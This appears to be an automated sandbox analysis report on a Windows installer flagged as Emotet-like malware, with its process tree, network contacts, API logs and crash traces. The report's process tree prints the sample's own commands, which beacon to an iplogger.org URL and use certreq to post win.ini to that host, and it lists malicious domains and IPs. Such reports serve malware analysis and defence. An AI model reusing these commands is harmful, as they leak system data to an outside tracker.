Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Oct. 7, 2021, 6:11 p.m.	Oct. 7, 2021, 6:13 p.m.

Size	3.7MB
Type	PE32 executable (GUI) Intel 80386, for MS Windows
MD5	`86a1c8f0737fc82085f4a859733c9514`
SHA256	`65ac1c0eba209c49f78fa7b62e16bce45cffe0ea5a8320846ecf7f6c298853ae`
CRC32	`35B6D7CB`
ssdeep	`49152:4yGN7KAoB+iXbYG6N+R9GPV4DN5D5btClqaebQQBuz9n9EYesXT2hI2Qd0KdUMwo:ZGN2z6V+vK4v6lP0uz9ebsjV2Qd08fp`
Yara	PE_Header_Zero - PE File Signature IsPE32 - (no description) Win32_Trojan_Emotet_2_Zero - Win32 Trojan Emotet Malicious_Library_Zero - Malicious_Library

CalcCryptoInstalww.exe "C:\Users\test22\AppData\Local\Temp\CalcCryptoInstalww.exe"
1660
- CalcCryptoInstalww.tmp "C:\Users\test22\AppData\Local\Temp\is-QD868.tmp\CalcCryptoInstalww.tmp" /SL5="$601EC,3619787,58368,C:\Users\test22\AppData\Local\Temp\CalcCryptoInstalww.exe"
  2492
  - powershell.exe "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1NUHh7"
    776
  - cmd.exe "cmd.exe" /c certreq -post -config https://iplogger.org/1NUHh7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
    2212
    - certreq.exe certreq -post -config https://iplogger.org/1NUHh7 C:\Windows\\win.ini C:\Users\test22\AppData\Local\Temp\\2
      2576
  - lessabspac.exe "C:\Program Files (x86)\My manager4youdrivers\lessabspac.exe"
    1788
  - powershell.exe "powershell" -command "Invoke-WebRequest -URI https://iplogger.org/1NUHh7"
    1180
  - 610acha.exe "C:\Program Files (x86)\My manager4youdrivers\610acha.exe"
    528
  - cmd.exe "cmd.exe" /c certreq -post -config https://iplogger.org/1NUHh7 %windir%\\win.ini %temp%\\2 & del %temp%\\2
    2564
    - certreq.exe certreq -post -config https://iplogger.org/1NUHh7 C:\Windows\\win.ini C:\Users\test22\AppData\Local\Temp\\2
      972
explorer.exe C:\Windows\Explorer.EXE
1236

Name	Response	Post-Analysis Lookup
e6tfvc.federguda.ru	A 81.177.141.85	81.177.141.85
lessab.space	A 80.66.87.32	80.66.87.32
gdv.federguda.ru	A 81.177.141.85	81.177.141.85

IP Address	Status	Action
164.124.101.2	Active	Moloch
185.215.113.121	Active	Moloch
80.66.87.32	Active	Moloch
81.177.141.85	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 185.215.113.121:15386 -> 192.168.56.102:49181	2400024	ET DROP Spamhaus DROP Listed Traffic Inbound group 25	Misc Attack

Suricata TLS

No Suricata TLS

Queries for the computername (34 events)

Time & API	Arguments	Status	Return
GetComputerNameA Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:12 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameA Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1
GetComputerNameW Oct. 7, 2021, 6:11 p.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (9 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0
IsDebuggerPresent Oct. 7, 2021, 6:11 p.m.			0	0

Command line console output was observed (50 out of 62 events)

Time & API	Arguments	Status	Return
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: At line:1 char:18 console_handle: 0x00000047	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: + Invoke-WebRequest <<<< -URI https://iplogger.org/1NUHh7 console_handle: 0x00000053	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: ommandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: The term 'Invoke-WebRequest' is not recognized as the name of a cmdlet, functio console_handle: 0x00000023	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: n, script file, or operable program. Check the spelling of the name, or if a pa console_handle: 0x0000002f	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: th was included, verify that the path is correct and try again. console_handle: 0x0000003b	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: At line:1 char:18 console_handle: 0x00000047	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: + Invoke-WebRequest <<<< -URI https://iplogger.org/1NUHh7 console_handle: 0x00000053	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: + CategoryInfo : ObjectNotFound: (Invoke-WebRequest:String) [], C console_handle: 0x0000005f	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: ommandNotFoundException console_handle: 0x0000006b	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: + FullyQualifiedErrorId : CommandNotFoundException console_handle: 0x00000077	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Usage: CertReq -? CertReq [-v] -? CertReq [-Command] -? console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq [-Submit] [Options] [RequestFileIn [CertFileOut [CertChainFileOut [FullResponseFileOut]]]] Submit a request to a Certification Authority. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -attrib AttributeString -binary -PolicyServer PolicyServer -config ConfigString -Anonymous -Kerberos -ClientCertificate ClientCertId -UserName UserName -p Password -crl -rpc -AdminForceMachine -RenewOnBehalfOf console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -Retrieve [Options] RequestId [CertFileOut [CertChainFileOut [FullResponseFileOut]]] Retrieve a response to a previous request from a Certification Authority. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -binary -PolicyServer PolicyServer -config ConfigString -Anonymous -Kerberos -ClientCertificate ClientCertId -UserName UserName -p Password -crl -rpc -AdminForceMachine console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -New [Options] [PolicyFileIn [RequestFileOut]] Create a new request as directed by PolicyFileIn console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -attrib AttributeString -binary -cert CertId -PolicyServer PolicyServer -config ConfigString -Anonymous -Kerberos -ClientCertificate ClientCertId -UserName UserName -p Password -user -machine -xchg ExchangeCertFile console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -Accept [Options] [CertChainFileIn \| FullResponseFileIn \| CertFileIn] Accept and install a response to a previous new request. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -user -machine console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -Policy [Options] [RequestFileIn [PolicyFileIn [RequestFileOut [PKCS10FileOut]]]] Construct a cross certification or qualified subordination request from an existing CA certificate or from an existing request. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -attrib AttributeString -binary -cert CertId -PolicyServer PolicyServer -Anonymous -Kerberos -ClientCertificate ClientCertId -UserName UserName -p Password -noEKU -AlternateSignatureAlgorithm -HashAlgorithm HashAlgorithm console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -Sign [Options] [RequestFileIn [RequestFileOut]] Sign a certificate request with an enrollment agent or qualified subordination signing certificate. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -binary -cert CertId -PolicyServer PolicyServer -Anonymous -Kerberos -ClientCertificate ClientCertId -UserName UserName -p Password -crl -noEKU -HashAlgorithm HashAlgorithm console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -Enroll [Options] TemplateName CertReq -Enroll -cert CertId [Options] Renew [ReuseKeys] Enroll for or renew a certificate. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -PolicyServer PolicyServer -user -machine console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Unknown argument: -post console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Usage: CertReq -? CertReq [-v] -? CertReq [-Command] -? console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq [-Submit] [Options] [RequestFileIn [CertFileOut [CertChainFileOut [FullResponseFileOut]]]] Submit a request to a Certification Authority. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -attrib AttributeString -binary -PolicyServer PolicyServer -config ConfigString -Anonymous -Kerberos -ClientCertificate ClientCertId -UserName UserName -p Password -crl -rpc -AdminForceMachine -RenewOnBehalfOf console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -Retrieve [Options] RequestId [CertFileOut [CertChainFileOut [FullResponseFileOut]]] Retrieve a response to a previous request from a Certification Authority. console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -binary -PolicyServer PolicyServer -config ConfigString -Anonymous -Kerberos -ClientCertificate ClientCertId -UserName UserName -p Password -crl -rpc -AdminForceMachine console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -New [Options] [PolicyFileIn [RequestFileOut]] Create a new request as directed by PolicyFileIn console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: Options: console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: -attrib AttributeString -binary -cert CertId -PolicyServer PolicyServer -config ConfigString -Anonymous -Kerberos -ClientCertificate ClientCertId -UserName UserName -p Password -user -machine -xchg ExchangeCertFile console_handle: 0x00000007	1	1
WriteConsoleW Oct. 7, 2021, 6:11 p.m.	buffer: CertReq -Accept [Options] [CertChainFileIn \| FullResponseFileIn \| CertFileIn] Accept and install a response to a previous new request. console_handle: 0x00000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 110 events)

Time & API	Arguments	Status	Return
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9af8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9838 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9838 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9838 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9438 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8f38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8f38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8f38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e95f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e9a38 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e98f8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x004e8ff8 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00d70390 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00d70390 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:11 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00d703d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Oct. 7, 2021, 6:12 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x00d70b10 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Tries to locate where the browsers are installed (2 events)

file	C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
registry	HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Oct. 7, 2021, 6:11 p.m.		1	1	0

The executable contains unknown PE section names indicative of a packer (could be a false positive) (3 events)

section	CODE
section	DATA
section	BSS

One or more processes crashed (12 events)

Time & API	Arguments	Status
__exception__ Oct. 7, 2021, 6:11 p.m.	stacktrace: calccryptoinstalww+0x84cf2 @ 0x484cf2 calccryptoinstalww+0x85901 @ 0x485901 calccryptoinstalww+0x859b8 @ 0x4859b8 calccryptoinstalww+0x6d345 @ 0x46d345 calccryptoinstalww+0x158de @ 0x4158de calccryptoinstalww+0x170b0 @ 0x4170b0 calccryptoinstalww+0x1f842 @ 0x41f842 gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a GetWindow+0x3f0 SendMessageW-0x1b user32+0x1965e @ 0x7557965e SendMessageW+0x4c GetAncestor-0xc0 user32+0x196c5 @ 0x755796c5 GetEffectiveClientRect+0x3409 DPA_Merge-0xa5a comctl32+0xa4601 @ 0x74c84601 GetEffectiveClientRect+0x346b DPA_Merge-0x9f8 comctl32+0xa4663 @ 0x74c84663 GetEffectiveClientRect+0x32f5 DPA_Merge-0xb6e comctl32+0xa44ed @ 0x74c844ed gapfnScSendMessage+0x332 GetAppCompatFlags2-0x8ea user32+0x162fa @ 0x755762fa GetThreadDesktop+0xd7 GetWindowLongW-0x2c4 user32+0x16d3a @ 0x75576d3a GetClientRect+0xc5 CallWindowProcW-0xb user32+0x20d27 @ 0x75580d27 CallWindowProcA+0x1b GetClassNameA-0x95 user32+0x2794a @ 0x7558794a calccryptoinstalww+0x17075 @ 0x417075 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc 8b ff 55 8b ec 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xeedface exception.offset: 46887 exception.address: 0x7566b727 registers.esp: 1635320 registers.edi: 1 registers.eax: 1635320 registers.ebp: 1635400 registers.edx: 0 registers.ebx: 1 registers.esi: 8138092 registers.ecx: 7	1
__exception__ Oct. 7, 2021, 6:11 p.m.	stacktrace: lessabspac+0x48fada @ 0x7bfada lessabspac+0x48fb89 @ 0x7bfb89 exception.instruction_r: c9 c2 10 00 cc cc cc cc cc e9 62 b8 fe 8a 56 8b exception.symbol: RaiseException+0x58 CloseHandle-0x9 kernelbase+0xb727 exception.instruction: leave exception.module: KERNELBASE.dll exception.exception_code: 0xc000008e exception.offset: 46887 exception.address: 0x7566b727 registers.esp: 11534056 registers.edi: 4833280 registers.eax: 11534056 registers.ebp: 11534136 registers.edx: 2130566132 registers.ebx: 32 registers.esi: 2008380459 registers.ecx: 1925251072	1
__exception__ Oct. 7, 2021, 6:11 p.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 e9 77 c3 e5 ff exception.symbol: lessabspac+0x4ca79d exception.instruction: in eax, dx exception.module: lessabspac.exe exception.exception_code: 0xc0000096 exception.offset: 5023645 exception.address: 0x7fa79d registers.esp: 11534176 registers.edi: 6673055 registers.eax: 1750617430 registers.ebp: 4833280 registers.edx: 22614 registers.ebx: 3342336 registers.esi: 13 registers.ecx: 20	1
__exception__ Oct. 7, 2021, 6:11 p.m.	stacktrace: exception.instruction_r: ed 64 8f 05 00 00 00 00 83 c4 04 81 fb 68 58 4d exception.symbol: lessabspac+0x4ca811 exception.instruction: in eax, dx exception.module: lessabspac.exe exception.exception_code: 0xc0000096 exception.offset: 5023761 exception.address: 0x7fa811 registers.esp: 11534176 registers.edi: 6673055 registers.eax: 1447909480 registers.ebp: 4833280 registers.edx: 22104 registers.ebx: 2256917605 registers.esi: 13 registers.ecx: 10	1
__exception__ Oct. 7, 2021, 6:12 p.m.	stacktrace: 0xbb88f9 0xbb8883 0xbb8809 0xbb8774 0xbb2d07 0xbb2a41 0xbb0b03 0xbb0070 DllUnregisterServerInternal-0x7aa2 clr+0x2652 @ 0x72642652 DllRegisterServerInternal+0x243 CoUninitializeEE-0xd1f5 clr+0x1264f @ 0x7265264f DllRegisterServerInternal+0xa89 CoUninitializeEE-0xc9af clr+0x12e95 @ 0x72652e95 DllGetClassObjectInternal+0x2473 CorDllMainForThunk-0x8a088 clr+0xc74ec @ 0x727074ec DllGetClassObjectInternal+0x2597 CorDllMainForThunk-0x89f64 clr+0xc7610 @ 0x72707610 CorDllMainForThunk+0x850 _CorExeMain-0x238a clr+0x151dc4 @ 0x72791dc4 CorDllMainForThunk+0x8f3 _CorExeMain-0x22e7 clr+0x151e67 @ 0x72791e67 CorDllMainForThunk+0xa06 _CorExeMain-0x21d4 clr+0x151f7a @ 0x72791f7a _CorExeMain+0x1c ClrCreateManagedInstance-0x35cd clr+0x15416a @ 0x7279416a _CorExeMain+0x71 GetFileVersion-0x293a 